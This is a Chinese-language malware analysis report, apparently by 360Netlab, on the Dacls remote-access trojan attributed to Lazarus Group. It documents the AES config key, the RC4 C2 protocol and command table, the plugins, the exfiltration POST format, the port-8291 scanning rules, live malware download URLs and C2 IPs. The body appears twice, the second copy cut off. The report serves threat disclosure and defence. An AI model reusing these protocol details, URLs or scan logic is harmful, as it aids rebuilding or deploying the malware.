Lazarus Group使用Dacls RAT攻击Linux平台
<!--kg-card-begin: markdown--><h2 id="">背景介绍</h2>
<p>2019年10月25号，360Netlab未知威胁检测系统发现一个可疑的ELF文件(80c0efb9e129f7f9b05a783df6959812)。一开始，我们以为这是在我们发现的Unknown Botnet中比较平凡的一个，并且在那时候VirusTotal上有2款杀毒引擎能够识别。当我们关联分析它的相关样本特征和IoC时，我们发现这个案例跟Lazarus Group有关，并决定深入分析它。</p>
<p>目前，业界也从未公开过关于Lazarus Group针对Linux平台的攻击样本和案例。通过详细的分析，我们确定这是一款功能完善，行为隐蔽并适用于Windows和Linux平台的RAT程序，并且其幕后攻击者疑似Lazarus Group。</p>
<p>事实上，这款远程控制软件相关样本早在2019年5月份就已经出现，目前在VirusTotal上显示被26款杀毒软件厂商识别为泛型的恶意软件，但它还是不为人所知，我们也没有找到相关分析报告。所以，我们会详细披露它的一些技术特征，并根据它的文件名和硬编码字符串特征将它命名为Dacls。</p>
<h2 id="dacls">Dacls 概览</h2>
<p>Dacls是一款新型的远程控制软件，包括Windows和Linux版本并共用C2协议，我们将它们分别命名为Win32.Dacls和Linux.Dacls。它的功能模块化，C2协议使用TLS和RC4双层加密，配置文件使用AES加密并支持C2指令动态更新。其中Win32.Dacls的插件模块是通过远程URL动态加载，而Linux版本的插件是直接编译在Bot程序里。我们已经确认在Linux.Dacls中包含6个插件模块：执行命令，文件管理，进程管理，测试网络访问，C2连接代理，网络扫描。</p>
<h3 id="lazarusgroup">如何关联上 Lazarus Group</h3>
<p>⾸先，我们通过样本<code>80c0efb9e129f7f9b05a783df6959812</code>中的硬编码字符串特征 <code>c_2910.cls</code>和<code>k_3872.cls</code>，在VirusTotal上找到了5个样本，我们从这些样本代码和相同的C2指令码上可以确认它们是同⼀套RAT程序，并且分别适⽤于Windows和Linux平台。</p>
<p>其中⼀个Win32.Dacls样本<code>6de65fc57a4428ad7e262e980a7f6cc7</code>，它的下载地址为<code>https://thevagabondsatchel.com/wp-content/uploads/2019/03/wm64.avi</code>，在VirusTotal社区⽤户@raeezabdulla留⾔中将它标记为Lazarus Group，并引⽤了⼀篇报告《CES Themed Targeting from Lazarus》。然后，我们通过这个下载地址我们关联到另⼀个NukeSped样本<code>b578ccf307d55d3267f98349e20ecff1</code>，它的下载地址为<code>http://thevagabondsatchel.com/wp-content/uploads/2019/09/public.avi</code>。在2019年10⽉份，这个NukeSped样本<code>b578ccf307d55d3267f98349e20ecff1</code>曾被推特⽤户@cyberwar_15标记为Lazarus Group。</p>
<p>另外，我们也在Google上搜到到很多Lazarus Group的分析报告和⼀些开源威胁情报数据，并指出<code>thevagabondsatchel.com</code>曾被Lazarus Group⽤于存放样本。</p>
<p>所以，我们推测Dacls RAT的幕后攻击者是Lazarus Group。</p>
<p><a href="__GHOST_URL__/content/images/2019/12/dacls_graph.png"><img src="__GHOST_URL__/content/images/2019/12/dacls_graph.png" class="kg-image"/></a></p>
<h3 id="downloader">Downloader服务器</h3>
<p>我们在疑似被感染的下载服务器<code>http://www.areac-agr.com/cms/wp-content/uploads/2015/12/</code>上找到了一系列样本，其中包括Win32.Dacls和Linux.Dacls，开源程序Socat，以及Confluence CVE-2019-3396 Payload。所以，我们推测Lazarus Group曾经利用CVE-2019-3396 N-day漏洞传播Dacls Bot程序。</p>
<pre><code class="language-c">MD5 (check.vm) = a99b7ef095f44cf35453465c64f0c70c  //Confluence CVE-2019-3396 Payload
MD5 (hdata.dat) = 982bf527b9fe16205fea606d1beed7fa //Log Collector
MD5 (ldata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot
MD5 (mdata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot
MD5 (r.vm) = a99b7ef095f44cf35453465c64f0c70c      //Confluence CVE-2019-3396 Payload
MD5 (rdata.dat) = bea49839390e4f1eb3cb38d0fcaf897e //Windows Dacls Bot
MD5 (sdata.dat) = e883bf5fd22eb6237eb84d80bbcf2ac9 //Open-Source Socat
</code></pre>
<h2 id="">逆向分析</h2>
<h3 id="logcollector">Log Collector样本分析</h3>
<ul>
<li>MD5: 982bf527b9fe16205fea606d1beed7fa</li>
</ul>
<blockquote>
<p>ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header</p>
</blockquote>
<p>这个样本的功能很简单，它通过运行参数指定日志搜集接口然后收集目标主机信息。它会避开扫描一些指定的根目录和二级目录，并把检索到的文件路径写入 /tmp/hdv.log。</p>
<pre><code class="language-c">Avoid Scanning Root Directory
/bin
/boot
/dev
/etc
/lib
/lib32
/lib64
/lost+found
/sbin
/sys
/tmp
/proc
/run

Avoid Scanning Secondary Directory
/usr/bin
/usr/etc
/usr/games
/usr/include
/usr/lib
/usr/lib32
/usr/lib64
/usr/libexec
/usr/sbin
/usr/share
/usr/src
/usr/tmp
/var/adm
/var/cache
/var/crash
/var/db
/var/empty
/var/games
/var/gopher
/var/kerberos
/var/lock
/var/nis
/var/preserve
/var/run
/var/yp
</code></pre>
<p>日志记录格式示例</p>
<pre><code class="language-c">deep    name      type    size    last date
0       /         D       0       000000000000
1       bin       D       0       201911290628
2       bash      F       1037528 201907121226
2       bunzip2   F       31352   201907040536
2       busybox   F       1984584 201903070712
2       bzcat     F       31352   201907040536
2       bzcmp     F       2140    201907040536
....
</code></pre>
<p>最后通过执行系统tar命令把日志文件压缩<code>tar -cvzf /tmp/hdv.rm /tmp/hdv.log</code> 并上传到指定日志搜集接口。</p>
<h3 id="linuxdacls">Linux.Dacls样本分析</h3>
<ul>
<li>MD5: 80c0efb9e129f7f9b05a783df6959812</li>
</ul>
<blockquote>
<p>ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e14724498374cb9b80a77b7bfeb1d1bd342ee139, stripped</p>
</blockquote>
<p>Linux.Dacls Bot主要功能包括：执行命令，文件管理，进程管理，测试网络访问，C2连接代理，网络扫描模块。</p>
<h4 id="">初始化行为</h4>
<p>Linux.Dacls Bot启动后以daemon方式后台运行，并通过启动参数<code>/pro</code>，Bot PID文件<code>/var/run/init.pid</code>和Bot进程名<code>/proc/&lt;pid&gt;/cmdline</code>，来区分不同运行环境，我们猜测可能是用于Bot程序升级。<br>
<a href="__GHOST_URL__/content/images/2019/12/init_stage.png"><img src="__GHOST_URL__/content/images/2019/12/init_stage.png" class="kg-image"/></a></p>
<h4 id="memcahce">配置文件 .memcahce</h4>
<p>Linux.Dacls Bot配置文件固定存放在<code>$HOME/.memcache</code>，文件内容固定为0x8E20+4个字节。如果Bot启动后找不到配置文件，就会根据样本中硬编码的信息，使用AES加密生成默认的配置文件，当Bot和C2 通信后还会继续更新配置文件。</p>
<h6 id="">数据结构</h6>
<p>我们把配置文件的数据结构信息定义为struct_global_cfg，这里存放了Bot运行参数，C2信息，和插件信息等。</p>
<pre><code class="language-c">struct struct_plugin_cfg_data
{
  int plugin_id;
  int plugin_type;
  int unk3;
  char name[1040];
};

struct struct_c2_content
{
  char content[2048];
};

struct struct_global_cfg
{
  int session_id;
  int unk_const1;
  int sus_version_20190417;
  int connect_retry_sleep_time;
  char unk_array1[88];
  int c2_num;
  struct_c2_content c2_list[3];
  char unknown_filed_186C[14340];
  struct_plugin_cfg_data plug_cfg_data_list[15];
};

</code></pre>
<h6 id="aes">AES 加密算法</h6>
<ul>
<li>AES，CBC Mode</li>
<li>Key：A0 D2 89 29 27 78 75 F6 AA 78 C7 98 39 A0 05 ED</li>
<li>IV：39 18 82 62 33 EA 18 BB 18 30 78 97 A9 E1 8A 92</li>
</ul>
<h6 id="">解密配置文件</h6>
<p>我们把配置文件解密后，可以看到配置文件中一些明文信息，例如：会话ID，版本信息，重新连接C2时间，C2信息等，当成功连接C2后配置文件会根据C2指令更新，比如在配置文件中增加Bot支持的插件信息，更新C2信息等。<br>
<a href="__GHOST_URL__/content/images/2019/12/memcache_decrypt.png"><img src="__GHOST_URL__/content/images/2019/12/memcache_decrypt.png" class="kg-image"/></a></p>
<h4 id="c2">C2 协议</h4>
<p>Linux.Dacls Bot和C2通信主要分为3个阶段，并采用了TLS和RC4双层加密算法，保障数据通信安全。第1阶段是建立TLS连接，第2阶段是双方协议认证过程（Malware Beaconing），第3阶段是Bot发送RC4加密后的数据。</p>
<h6 id="ssl">SSL 连接</h6>
<p><a href="__GHOST_URL__/content/images/2019/12/tls_connection.png"><img src="__GHOST_URL__/content/images/2019/12/tls_connection.png" class="kg-image"/></a></p>
<h6 id="">协议认证</h6>
<p>建立SSL连接会发送若干次Beacon消息和C2互相确认身份。</p>
<table>
<thead>
<tr>
<th>Cmd</th>
<th>Direction</th>
<th>Encrypted</th>
<th style="text-align:center">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x20000</td>
<td>send</td>
<td>no</td>
<td style="text-align:center">Beacon</td>
</tr>
<tr>
<td>0x20100</td>
<td>recv</td>
<td>no</td>
<td style="text-align:center">Beacon</td>
</tr>
<tr>
<td>0x20200</td>
<td>send</td>
<td>no</td>
<td style="text-align:center">Beacon</td>
</tr>
</tbody>
</table>
<h6 id="rc4">RC4 加密和解密流程</h6>
<ul>
<li>
<p>RC4 Key生成算法，完全由随机函数生成，Key长度范围：大于0且小于50<br>
<a href="__GHOST_URL__/content/images/2019/12/rc4_key.png"><img src="__GHOST_URL__/content/images/2019/12/rc4_key.png" class="kg-image"/></a></p>
</li>
<li>
<p>置换表生成算法，根据RC4 Key生成RC4加密用的置换表<br>
<a href="__GHOST_URL__/content/images/2019/12/rc4_swap.png"><img src="__GHOST_URL__/content/images/2019/12/rc4_swap.png" class="kg-image"/></a></p>
</li>
<li>
<p>加/解密算法，根据置换表生成算法完成加/解密，因为RC4是个对称加密算法，所以加/解密算法是一致的<br>
<a href="__GHOST_URL__/content/images/2019/12/rc4_decrypt.png"><img src="__GHOST_URL__/content/images/2019/12/rc4_decrypt.png" class="kg-image"/></a></p>
</li>
<li>
<p>RC4解密示例</p>
<p>在完成协议认证之后，Bot向C2发送RC4 Key长度（头4个字节）和 RC4 Key数据。<br>
<a href="__GHOST_URL__/content/images/2019/12/rc4_connection.png"><img src="__GHOST_URL__/content/images/2019/12/rc4_connection.png" class="kg-image"/></a></p>
</li>
</ul>
<p>C2收到加密Key，向Bot发送密文，解密后为0x00000700指令，之后Bot就会上传主机名相关信息给C2。</p>
<pre><code class="language-c">Key:
a3 2f c2 10 f3 92 79 c3  0e f6 e4 e5 2e 69 29 86
0d 3a 92 f5 b7 23 fc 91  d9 46 91 55 a3 86 5a 47
36 1d 58 2a af d1 6d 3d  49 52 23 77 bc 4d fd 49
87 

密文:
fe 3c 2c d7 bf 08 e3 91  d7 00 1f d0

明文:
00 07 00 00 00 00 00 00  00 00 00 00 
</code></pre>
<h6 id="c2">C2指令码表</h6>
<p>Linux.Dacls Bot接受的指令实际共12个字节，但实际有效大小为4个字节，并分成控制两种模式。</p>
<p>第一种模式：当第3个字节为0，控制Bot主逻辑。</p>
<p>以下是0x00000700指令对应的网络序数据包示例：模式为0x00，指令2为0x07控制Bot上传主机名信息</p>
<table>
<thead>
<tr>
<th>指令1</th>
<th>指令2</th>
<th>模式</th>
<th>未知</th>
</tr>
</thead>
<tbody>
<tr>
<td>00</td>
<td>07</td>
<td>00</td>
<td>00</td>
</tr>
</tbody>
</table>
<p>第二种模式：当第3个字节为1，控制加载插件逻辑。</p>
<p>以下是0x00010101指令对应的网络序数据包示例：模式为0x01，指令1为0x01控制加载编号为1的插件</p>
<table>
<thead>
<tr>
<th>指令1</th>
<th>指令2</th>
<th>模式</th>
<th>未知</th>
</tr>
</thead>
<tbody>
<tr>
<td>01</td>
<td>01</td>
<td>01</td>
<td>00</td>
</tr>
</tbody>
</table>
<p>Bot收到指令后，执行成功返回0x20500，执行失败返回0x20600。</p>
<ul>
<li>C2指令表，Bot主逻辑部分</li>
</ul>
<table>
<thead>
<tr>
<th>Module</th>
<th>Cmd</th>
<th>Encrypt</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Core</td>
<td>0x00000601</td>
<td>Yes</td>
<td>上传C2配置信息</td>
</tr>
<tr>
<td>Core</td>
<td>0x00000602</td>
<td>Yes</td>
<td>下载配置信息保存到 <code>$HOME/.memcache</code></td>
</tr>
<tr>
<td>Core</td>
<td>0x00000700</td>
<td>Yes</td>
<td>要求Bot上传主机信息</td>
</tr>
<tr>
<td>Core</td>
<td>0x00000900</td>
<td>Yes</td>
<td>要求Bot发送心跳信息</td>
</tr>
</tbody>
</table>
<ul>
<li>C2指令表，Bot插件部分</li>
</ul>
<table>
<thead>
<tr>
<th style="text-align:center">Module</th>
<th>Cmd</th>
<th>Encrypt</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">/bin/bash</td>
<td>0x00010000</td>
<td>Yes</td>
<td>执行C2下发的bash命令</td>
</tr>
<tr>
<td style="text-align:center">/bin/bash</td>
<td>0x00010002</td>
<td>Yes</td>
<td>连接到指定的C2执行下发的系统命令</td>
</tr>
<tr>
<td style="text-align:center">plugin_file</td>
<td>0x00010100</td>
<td>Yes</td>
<td>写文件</td>
</tr>
<tr>
<td style="text-align:center">plugin_file</td>
<td>0x00010101</td>
<td>Yes</td>
<td>读文件</td>
</tr>
<tr>
<td style="text-align:center">plugin_file</td>
<td>0x00010103</td>
<td>Yes</td>
<td>删除文件</td>
</tr>
<tr>
<td style="text-align:center">plugin_file</td>
<td>0x00010104</td>
<td>Yes</td>
<td>扫描目录结构</td>
</tr>
<tr>
<td style="text-align:center">plugin_file</td>
<td>0x00010110</td>
<td>Yes</td>
<td>从指定url下载文件</td>
</tr>
<tr>
<td style="text-align:center">plugin_process</td>
<td>0x00010200</td>
<td>Yes</td>
<td>扫描并上传主机进程相关信息</td>
</tr>
<tr>
<td style="text-align:center">plugin_process</td>
<td>0x00010201</td>
<td>Yes</td>
<td>杀死指定进程</td>
</tr>
<tr>
<td style="text-align:center">plugin_process</td>
<td>0x00010202</td>
<td>Yes</td>
<td>创建daemon进程</td>
</tr>
<tr>
<td style="text-align:center">plugin_process</td>
<td>0x00010204</td>
<td>Yes</td>
<td>获得并上报进程PID和PPID</td>
</tr>
<tr>
<td style="text-align:center">plugin_test</td>
<td>0x00010300</td>
<td>Yes</td>
<td>测试是否可以访问指定IP</td>
</tr>
<tr>
<td style="text-align:center">plugin_reverse_p2p</td>
<td>0x00010400</td>
<td>Yes</td>
<td>C2连接代理</td>
</tr>
<tr>
<td style="text-align:center">logsend</td>
<td>0x00011100</td>
<td>Yes</td>
<td>测试是否可以访问Log服务器</td>
</tr>
<tr>
<td style="text-align:center">logsend</td>
<td>0x00011101</td>
<td>Yes</td>
<td>上传公网端口扫描结果和命令执行输出</td>
</tr>
<tr>
<td style="text-align:center">logsend</td>
<td>0x00011102</td>
<td>Yes</td>
<td>无操作</td>
</tr>
</tbody>
</table>
<ul>
<li>C2通信流程图<br>
<a href="__GHOST_URL__/content/images/2019/12/c2_connection.png"><img src="__GHOST_URL__/content/images/2019/12/c2_connection.png" class="kg-image"/></a></li>
</ul>
<h4 id="">插件模块</h4>
<p>Linux.Dacls Bot采用静态编译的方式将插件和Bot本体代码编译在一起，通过发送不同的指令调用不同的插件可以完成多种任务。我们分析的样本中共包含6个插件，由于插件的配置信息是一块连续的结构体数组(0x00~0x0e)。我们猜测Bot可能存在更多的插件。<br>
<a href="__GHOST_URL__/content/images/2019/12/plugin_num.png"><img src="__GHOST_URL__/content/images/2019/12/plugin_num.png" class="kg-image"/></a></p>
<p>每个插件都会有相应的配置信息，它们会保存在Bot的配置文件<code>$HOME/.memcache</code>中，在插件初始化时，加载这些配置信息。</p>
<h6 id="bash">Bash 插件</h6>
<p>Bash插件是编号为0的插件，主要支持两个功能：接收C2服务器的下发的系统命令并执行；C2通过指令下发临时C2，Bot然后连接到临时C2并执行临时C2下发的系统命令。<br>
<a href="__GHOST_URL__/content/images/2019/12/bash.png"><img src="__GHOST_URL__/content/images/2019/12/bash.png" class="kg-image"/></a></p>
<h6 id="file">File 插件</h6>
<p>File插件主要功能是文件管理，除了支持对文件的读，写，删除，查找操作，还可以从指定的下载服务器下载文件。<br>
<a href="__GHOST_URL__/content/images/2019/12/file.png"><img src="__GHOST_URL__/content/images/2019/12/file.png" class="kg-image"/></a></p>
<h6 id="process">Process 插件</h6>
<p>Process插件的主要功能是进程管理，包括：杀死指定进程，创建daemon进程，获得当前进程的PID和PPID，以及获取进程列表信息。<br>
<a href="__GHOST_URL__/content/images/2019/12/process.png"><img src="__GHOST_URL__/content/images/2019/12/process.png" class="kg-image"/></a></p>
<p>如果Linux进程中的PID对应的<code>/proc/&lt;pid&gt;/task</code>目录存在，Bot样本会收集如下进程信息：</p>
<ul>
<li>从<code>/proc/&lt;pid&gt;/cmdline</code>读取命令行全名</li>
<li>从<code>/proc/&lt;pid&gt;/status</code>中读取:</li>
</ul>
<pre><code>Name      //进程名
Uid       //用户ID
Gid       //用户组ID
PPid      //父进程ID
</code></pre>
<h6 id="test">Test插件</h6>
<p>Test插件的主要功能是通过连接C2指定的IP地址和端口，测试其网络连通性。<br>
<a href="__GHOST_URL__/content/images/2019/12/test.png"><img src="__GHOST_URL__/content/images/2019/12/test.png" class="kg-image"/></a></p>
<h6 id="reversep2p">Reverse P2P插件</h6>
<p>Reverse P2P插件实际上是一种C2连接代理（Connection Proxy），它通过下发控制命令可以将指定的C2数据完整的转发到指定IP端口。这在Lazarus Group中是一种常见的降低被检测风险的技术手段，既可以减少目标主机连接数又可以隐藏目标主机和真实C2的通信数据，在某些场合还可以利用被感染的内网主机进一步渗透至隔离网段。</p>
<p>reverse_p2p插件初始化<br>
<a href="__GHOST_URL__/content/images/2019/12/reverse_p2p_init-1.png"><img src="__GHOST_URL__/content/images/2019/12/reverse_p2p_init-1.png" class="kg-image"/></a></p>
<p>当Bot收到指令后，先尝试连接指定的C2端口并发送0x21000指令，如果C2返回0x21300说明C2连接成功。此时Bot会连接指令中指定的目标主机端口，如果连接成功会返回0x21100给C2说明转发连接已经建立可以转发数据。接下来Bot会将C2发送过来的数据完整的转发给目标主机，同时将目标主机的返回数据完整的返回给C2，直至任何一方中断连接。<br>
以下是Reverse P2P插件工作流程图：<br>
<a href="__GHOST_URL__/content/images/2019/12/reverse_p2p.png"><img src="__GHOST_URL__/content/images/2019/12/reverse_p2p.png" class="kg-image"/></a></p>
<h6 id="logsend">LogSend 插件</h6>
<p>LogSend插件主要包括3个功能：测试连接Log服务器，随机扫描全网8291端口并上报给Log服务器，执行耗时较长的系统命令并将控制台输出结果实时上报给Log服务器。</p>
<p>LogSend插件初始化<br>
<a href="__GHOST_URL__/content/images/2019/12/logsend_init.png"><img src="__GHOST_URL__/content/images/2019/12/logsend_init.png" class="kg-image"/></a></p>
<p>LogSend相关操作回调函数<br>
<a href="__GHOST_URL__/content/images/2019/12/logsend.png"><img src="__GHOST_URL__/content/images/2019/12/logsend.png" class="kg-image"/></a></p>
<p>测试连接Log服务器<br>
Bot收到指令后会向Log服务器发送一个测试请求。如果Log服务器返回<code>{&quot;result&quot;:&quot;ok&quot;}</code>说明测试成功，此时C2就可以下发更多的LogSend指令。</p>
<p>使用C2指定的HTTP接口地址，内置的User-Agent，发送POST请求</p>
<pre><code>POST /%s HTTP/1.0
Host: %s
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cache-Control: no-cache
Connection: close
log=check
</code></pre>
<p>随机扫描全网8291端口并上报给Log服务器。</p>
<p>当Bot收到该指令后会按照3种规则随机生成公网IP地址并尝试连接8291端口，如果连接成功就向log server回传扫描结果。<br>
IP生成规则：</p>
<pre><code>ip = &lt;part1&gt;.&lt;part2&gt;.&lt;part3&gt;.&lt;part4&gt;

rule1: part1 != 127
rule2: part1 == 172 and (part2 &lt;= 15 or part2 &gt; 31)
rule3: part1 != 192 and part2 != 168
rule4: part1 != 10
</code></pre>
<p>随机IP生成算法如下<br>
<a href="__GHOST_URL__/content/images/2019/12/random_ip-1.png"><img src="__GHOST_URL__/content/images/2019/12/random_ip-1.png" class="kg-image"/></a></p>
<p>我们可以看到Bot硬编码TCP/8291端口，并调用系统connect函数进行端口扫描，只检测端口是否开放，不发送Payload数据。我们知道MikroTik Router设备的Winbox协议工作在TCP/8291端口上，并暴露在互联网上，之前我们也披露了2篇文章关于TCP/8291端口威胁事件<a href="__GHOST_URL__/7500-mikrotik-routers-are-forwarding-owners-traffic-to-the-attackers-how-is-yours-en/">[1]</a><a href="__GHOST_URL__/quick-summary-port-8291-scan-en/">[2]</a>。<br>
<a href="__GHOST_URL__/content/images/2019/12/scan_8291.png"><img src="__GHOST_URL__/content/images/2019/12/scan_8291.png" class="kg-image"/></a></p>
<p>执行耗时较长的bash命令，并将控制台输出实时上报给Log服务器。<br>
<a href="__GHOST_URL__/content/images/2019/12/logsend_bash.png"><img src="__GHOST_URL__/content/images/2019/12/logsend_bash.png" class="kg-image"/></a></p>
<p>执行bash命令并转发输出给Log服务器<br>
所有上报的Log数据都以HTTP POST的方式提交。Payload部分的格式如下：</p>
<p><code>log=save&amp;session_id=&lt;session id&gt;&amp;value=&lt;log content&gt;</code><br>
<a href="__GHOST_URL__/content/images/2019/12/logsend_payload.png"><img src="__GHOST_URL__/content/images/2019/12/logsend_payload.png" class="kg-image"/></a></p>
<h3 id="">处置建议</h3>
<p>我们建议Confluence用户及时更新补丁，并根据Dacls RAT创建的进程，文件名以及TCP网络连接特征，判断是否被感染，然后清理它的相关进程和文件。</p>
<p>我们建议读者对Dacls RAT相关IP，URL和域名进行监控和封锁。</p>
<p>相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p>
<h4 id="ioclist">IoC list</h4>
<p>样本MD5</p>
<pre><code>6de65fc57a4428ad7e262e980a7f6cc7
80c0efb9e129f7f9b05a783df6959812
982bf527b9fe16205fea606d1beed7fa
8910bdaaa6d3d40e9f60523d3a34f914
a99b7ef095f44cf35453465c64f0c70c
bea49839390e4f1eb3cb38d0fcaf897e
cef99063e85af8b065de0ffa9d26cb03
e883bf5fd22eb6237eb84d80bbcf2ac9
</code></pre>
<p>硬编码C2 IP：</p>
<pre><code>23.81.246.179       	United States       	ASN19148            	Leaseweb USA, Inc.  
23.254.119.12       	Canada              	ASN55286            	B2 Net Solutions Inc.
23.227.196.116      	United States       	ASN35017            	Swiftway Sp. z o.o. 
37.72.175.179       	United States       	ASN29802            	HIVELOCITY, Inc.    
23.227.199.53       	United States       	ASN35017            	Swiftway Sp. z o.o. 
107.172.197.175     	United States       	ASN36352            	ColoCrossing        
172.93.201.219      	United States       	ASN20278            	Nexeon Technologies, Inc.
64.188.19.117       	United States       	ASN8100             	QuadraNet Enterprises LLC
74.121.190.121      	United States       	ASN23033            	Wowrack.com         
192.210.213.178     	United States       	ASN36352            	ColoCrossing        
209.90.234.34       	United States       	ASN23033            	Wowrack.com         
198.180.198.6       	United States       	ASN26658            	HT  
</code></pre>
<p>URL</p>
<pre><code>http://www.areac-agr.com/cms/wp-content/uploads/2015/12/check.vm
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/hdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/ldata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/mdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/r.vm
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/rdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/sdata.dat
</code></pre>
<!--kg-card-end: markdown-->
背景介绍


2019年10月25号，360Netlab未知威胁检测系统发现一个可疑的ELF文件(80c0efb9e129f7f9b05a783df6959812)。一开始，我们以为这是在我们发现的Unknown Botnet中比较平凡的一个，并且在那时候VirusTotal上有2款杀毒引擎能够识别。当我们关联分析它的相关样本特征和IoC时，我们发现这个案例跟Lazarus Group有关，并决定深入分析它。


目前，业界也从未公开过关于Lazarus Group针对Linux平台的攻击样本和案例。通过详细的分析，我们确定这是一款功能完善，行为隐蔽并适用于Windows和Linux平台的RAT程序，并且其幕后攻击者疑似Lazarus Group。


事实上，这款远程控制软件相关样本早在2019年5月份就已经出现，目前在VirusTotal上显示被26款杀毒软件厂商识别为泛型的恶意软件，但它还是不为人所知，我们也没有找到相关分析报告。所以，我们会详细披露它的一些技术特征，并根据它的文件名和硬编码字符串特征将它命名为Dacls。



Dacls 概览


Dacls是一款新型的远程控制软件，包括Windows和Linux版本并共用C2协议，我们将它们分别命名为Win32.Dacls和Linux.Dacls。它的功能模块化，C2协议使用TLS和RC4双层加密，配置文件使用AES加密并支持C2指令动态更新。其中Win32.Dacls的插件模块是通过远程URL动态加载，而Linux版本的插件是直接编译在Bot程序里。我们已经确认在Linux.Dacls中包含6个插件模块：执行命令，文件管理，进程管理，测试网络访问，C2连接代理，网络扫描。



如何关联上 Lazarus Group


⾸先，我们通过样本80c0efb9e129f7f9b05a783df6959812中的硬编码字符串特征 c_2910.cls和k_3872.cls，在VirusTotal上找到了5个样本，我们从这些样本代码和相同的C2指令码上可以确认它们是同⼀套RAT程序，并且分别适⽤于Windows和Linux平台。


其中⼀个Win32.Dacls样本6de65fc57a4428ad7e262e980a7f6cc7，它的下载地址为https://thevagabondsatchel.com/wp-content/uploads/2019/03/wm64.avi，在VirusTotal社区⽤户@raeezabdulla留⾔中将它标记为Lazarus Group，并引⽤了⼀篇报告《CES Themed Targeting from Lazarus》。然后，我们通过这个下载地址我们关联到另⼀个NukeSped样本b578ccf307d55d3267f98349e20ecff1，它的下载地址为http://thevagabondsatchel.com/wp-content/uploads/2019/09/public.avi。在2019年10⽉份，这个NukeSped样本b578ccf307d55d3267f98349e20ecff1曾被推特⽤户@cyberwar_15标记为Lazarus Group。


另外，我们也在Google上搜到到很多Lazarus Group的分析报告和⼀些开源威胁情报数据，并指出thevagabondsatchel.com曾被Lazarus Group⽤于存放样本。


所以，我们推测Dacls RAT的幕后攻击者是Lazarus Group。






Downloader服务器


我们在疑似被感染的下载服务器http://www.areac-agr.com/cms/wp-content/uploads/2015/12/上找到了一系列样本，其中包括Win32.Dacls和Linux.Dacls，开源程序Socat，以及Confluence CVE-2019-3396 Payload。所以，我们推测Lazarus Group曾经利用CVE-2019-3396 N-day漏洞传播Dacls Bot程序。


MD5 (check.vm) = a99b7ef095f44cf35453465c64f0c70c  //Confluence CVE-2019-3396 Payload
MD5 (hdata.dat) = 982bf527b9fe16205fea606d1beed7fa //Log Collector
MD5 (ldata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot
MD5 (mdata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot
MD5 (r.vm) = a99b7ef095f44cf35453465c64f0c70c      //Confluence CVE-2019-3396 Payload
MD5 (rdata.dat) = bea49839390e4f1eb3cb38d0fcaf897e //Windows Dacls Bot
MD5 (sdata.dat) = e883bf5fd22eb6237eb84d80bbcf2ac9 //Open-Source Socat




逆向分析



Log Collector样本分析


 * MD5: 982bf527b9fe16205fea606d1beed7fa





ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header



这个样本的功能很简单，它通过运行参数指定日志搜集接口然后收集目标主机信息。它会避开扫描一些指定的根目录和二级目录，并把检索到的文件路径写入 /tmp/hdv.log。


Avoid Scanning Root Directory
/bin
/boot
/dev
/etc
/lib
/lib32
/lib64
/lost+found
/sbin
/sys
/tmp
/proc
/run

Avoid Scanning Secondary Directory
/usr/bin
/usr/etc
/usr/games
/usr/include
/usr/lib
/usr/lib32
/usr/lib64
/usr/libexec
/usr/sbin
/usr/share
/usr/src
/usr/tmp
/var/adm
/var/cache
/var/crash
/var/db
/var/empty
/var/games
/var/gopher
/var/kerberos
/var/lock
/var/nis
/var/preserve
/var/run
/var/yp



日志记录格式示例


deep    name      type    size    last date
0       /         D       0       000000000000
1       bin       D       0       201911290628
2       bash      F       1037528 201907121226
2       bunzip2   F       31352   201907040536
2       busybox   F       1984584 201903070712
2       bzcat     F       31352   201907040536
2       bzcmp     F       2140    201907040536
....



最后通过执行系统tar命令把日志文件压缩tar -cvzf /tmp/hdv.rm /tmp/hdv.log 并上传到指定日志搜集接口。



Linux.Dacls样本分析


 * MD5: 80c0efb9e129f7f9b05a783df6959812





ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e14724498374cb9b80a77b7bfeb1d1bd342ee139, stripped



Linux.Dacls Bot主要功能包括：执行命令，文件管理，进程管理，测试网络访问，C2连接代理，网络扫描模块。


初始化行为


Linux.Dacls Bot启动后以daemon方式后台运行，并通过启动参数/pro，Bot PID文件/var/run/init.pid和Bot进程名/proc/<pid>/cmdline，来区分不同运行环境，我们猜测可能是用于Bot程序升级。




配置文件 .memcahce


Linux.Dacls Bot配置文件固定存放在$HOME/.memcache，文件内容固定为0x8E20+4个字节。如果Bot启动后找不到配置文件，就会根据样本中硬编码的信息，使用AES加密生成默认的配置文件，当Bot和C2 通信后还会继续更新配置文件。


数据结构


我们把配置文件的数据结构信息定义为struct_global_cfg，这里存放了Bot运行参数，C2信息，和插件信息等。


struct struct_plugin_cfg_data
{
  int plugin_id;
  int plugin_type;
  int unk3;
